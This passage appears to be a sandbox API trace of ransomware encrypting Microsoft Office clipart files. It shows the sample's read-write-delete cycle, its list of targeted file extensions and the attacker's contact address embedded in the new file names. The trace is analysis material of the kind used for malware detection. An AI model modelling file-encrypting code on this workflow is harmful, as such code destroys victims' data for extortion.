	[0170.716] lstrlenW (lpString="J0107500.WMF") returned 12
	[0170.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.117] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=4200) returned 1
	[0171.117] CloseHandle (hObject=0x55c) returned 1
	[0171.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 0x220
	[0171.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.118] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.118] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.119] GetLastError () returned 0x0
	[0171.119] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1068, lpOverlapped=0x0) returned 1
	[0171.125] WriteFile (in: hFile=0x530, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1070, lpOverlapped=0x0) returned 1
	[0171.126] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.126] WriteFile (in: hFile=0x530, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.127] SetEndOfFile (hFile=0x530) returned 1
	[0171.127] CloseHandle (hObject=0x530) returned 1
	[0171.127] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.127] SetEndOfFile (hFile=0x55c) returned 1
	[0171.129] CloseHandle (hObject=0x55c) returned 1
	[0171.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1
	[0171.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.131] lstrlenW (lpString=".doc") returned 4
	[0171.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.131] lstrlenW (lpString=".docx") returned 5
	[0171.131] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.131] lstrlenW (lpString=".pdf") returned 4
	[0171.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.131] lstrlenW (lpString=".xls") returned 4
	[0171.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.131] lstrlenW (lpString=".xlsx") returned 5
	[0171.131] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.131] lstrlenW (lpString=".ppt") returned 4
	[0171.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.131] lstrlenW (lpString=".zip") returned 4
	[0171.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.131] lstrlenW (lpString=".rar") returned 4
	[0171.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.131] lstrlenW (lpString=".bz2") returned 4
	[0171.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.131] lstrlenW (lpString=".7z") returned 3
	[0171.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.131] lstrlenW (lpString=".dbf") returned 4
	[0171.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.132] lstrlenW (lpString=".1cd") returned 4
	[0171.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.132] lstrlenW (lpString=".jpg") returned 4
	[0171.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.132] lstrlenW (lpString=".doc") returned 4
	[0171.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.132] lstrlenW (lpString=".docx") returned 5
	[0171.132] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.132] lstrlenW (lpString=".pdf") returned 4
	[0171.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.132] lstrlenW (lpString=".xls") returned 4
	[0171.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.132] lstrlenW (lpString=".xlsx") returned 5
	[0171.132] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.132] lstrlenW (lpString=".ppt") returned 4
	[0171.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.132] lstrlenW (lpString=".zip") returned 4
	[0171.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.132] lstrlenW (lpString=".rar") returned 4
	[0171.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.132] lstrlenW (lpString=".bz2") returned 4
	[0171.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.132] lstrlenW (lpString=".7z") returned 3
	[0171.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.132] lstrlenW (lpString=".dbf") returned 4
	[0171.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.132] lstrlenW (lpString=".1cd") returned 4
	[0171.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0171.132] lstrlenW (lpString=".jpg") returned 4
	[0171.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.133] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.133] lstrlenW (lpString="J0107658.WMF") returned 12
	[0171.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.136] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=7072) returned 1
	[0171.136] CloseHandle (hObject=0x55c) returned 1
	[0171.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 0x220
	[0171.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.136] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.137] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.137] GetLastError () returned 0x0
	[0171.137] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1ba0, lpOverlapped=0x0) returned 1
	[0171.139] WriteFile (in: hFile=0x530, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0171.140] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.140] WriteFile (in: hFile=0x530, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.140] SetEndOfFile (hFile=0x530) returned 1
	[0171.140] CloseHandle (hObject=0x530) returned 1
	[0171.140] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.140] SetEndOfFile (hFile=0x55c) returned 1
	[0171.144] CloseHandle (hObject=0x55c) returned 1
	[0171.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1
	[0171.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.145] lstrlenW (lpString=".doc") returned 4
	[0171.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.145] lstrlenW (lpString=".docx") returned 5
	[0171.145] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.145] lstrlenW (lpString=".pdf") returned 4
	[0171.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.145] lstrlenW (lpString=".xls") returned 4
	[0171.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.145] lstrlenW (lpString=".xlsx") returned 5
	[0171.145] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.145] lstrlenW (lpString=".ppt") returned 4
	[0171.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.145] lstrlenW (lpString=".zip") returned 4
	[0171.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.145] lstrlenW (lpString=".rar") returned 4
	[0171.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.145] lstrlenW (lpString=".bz2") returned 4
	[0171.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.146] lstrlenW (lpString=".7z") returned 3
	[0171.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.146] lstrlenW (lpString=".dbf") returned 4
	[0171.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.146] lstrlenW (lpString=".1cd") returned 4
	[0171.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.146] lstrlenW (lpString=".jpg") returned 4
	[0171.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.146] lstrlenW (lpString=".doc") returned 4
	[0171.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.146] lstrlenW (lpString=".docx") returned 5
	[0171.146] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.146] lstrlenW (lpString=".pdf") returned 4
	[0171.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.146] lstrlenW (lpString=".xls") returned 4
	[0171.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.146] lstrlenW (lpString=".xlsx") returned 5
	[0171.146] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.146] lstrlenW (lpString=".ppt") returned 4
	[0171.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.146] lstrlenW (lpString=".zip") returned 4
	[0171.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.146] lstrlenW (lpString=".rar") returned 4
	[0171.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.146] lstrlenW (lpString=".bz2") returned 4
	[0171.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.146] lstrlenW (lpString=".7z") returned 3
	[0171.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.146] lstrlenW (lpString=".dbf") returned 4
	[0171.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.147] lstrlenW (lpString=".1cd") returned 4
	[0171.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0171.147] lstrlenW (lpString=".jpg") returned 4
	[0171.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.147] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.147] lstrlenW (lpString="J0107708.WMF") returned 12
	[0171.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.148] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=4808) returned 1
	[0171.148] CloseHandle (hObject=0x55c) returned 1
	[0171.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 0x220
	[0171.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.149] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.149] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.149] GetLastError () returned 0x0
	[0171.149] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x12c8, lpOverlapped=0x0) returned 1
	[0171.185] WriteFile (in: hFile=0x530, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x12d0, lpOverlapped=0x0) returned 1
	[0171.186] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.186] WriteFile (in: hFile=0x530, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.186] SetEndOfFile (hFile=0x530) returned 1
	[0171.186] CloseHandle (hObject=0x530) returned 1
	[0171.186] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.186] SetEndOfFile (hFile=0x55c) returned 1
	[0171.189] CloseHandle (hObject=0x55c) returned 1
	[0171.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 1
	[0171.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.886] lstrlenW (lpString=".doc") returned 4
	[0171.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.894] lstrlenW (lpString=".docx") returned 5
	[0171.894] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.894] lstrlenW (lpString=".pdf") returned 4
	[0171.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.895] lstrlenW (lpString=".xls") returned 4
	[0171.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.895] lstrlenW (lpString=".xlsx") returned 5
	[0171.895] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.895] lstrlenW (lpString=".ppt") returned 4
	[0171.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.895] lstrlenW (lpString=".zip") returned 4
	[0171.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.895] lstrlenW (lpString=".rar") returned 4
	[0171.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.895] lstrlenW (lpString=".bz2") returned 4
	[0171.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.895] lstrlenW (lpString=".7z") returned 3
	[0171.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.895] lstrlenW (lpString=".dbf") returned 4
	[0171.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.895] lstrlenW (lpString=".1cd") returned 4
	[0171.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.895] lstrlenW (lpString=".jpg") returned 4
	[0171.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.895] lstrlenW (lpString=".doc") returned 4
	[0171.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.895] lstrlenW (lpString=".docx") returned 5
	[0171.895] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.895] lstrlenW (lpString=".pdf") returned 4
	[0171.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.896] lstrlenW (lpString=".xls") returned 4
	[0171.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.896] lstrlenW (lpString=".xlsx") returned 5
	[0171.896] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.896] lstrlenW (lpString=".ppt") returned 4
	[0171.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.896] lstrlenW (lpString=".zip") returned 4
	[0171.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.896] lstrlenW (lpString=".rar") returned 4
	[0171.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.896] lstrlenW (lpString=".bz2") returned 4
	[0171.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.896] lstrlenW (lpString=".7z") returned 3
	[0171.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.896] lstrlenW (lpString=".dbf") returned 4
	[0171.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.896] lstrlenW (lpString=".1cd") returned 4
	[0171.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0171.896] lstrlenW (lpString=".jpg") returned 4
	[0171.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
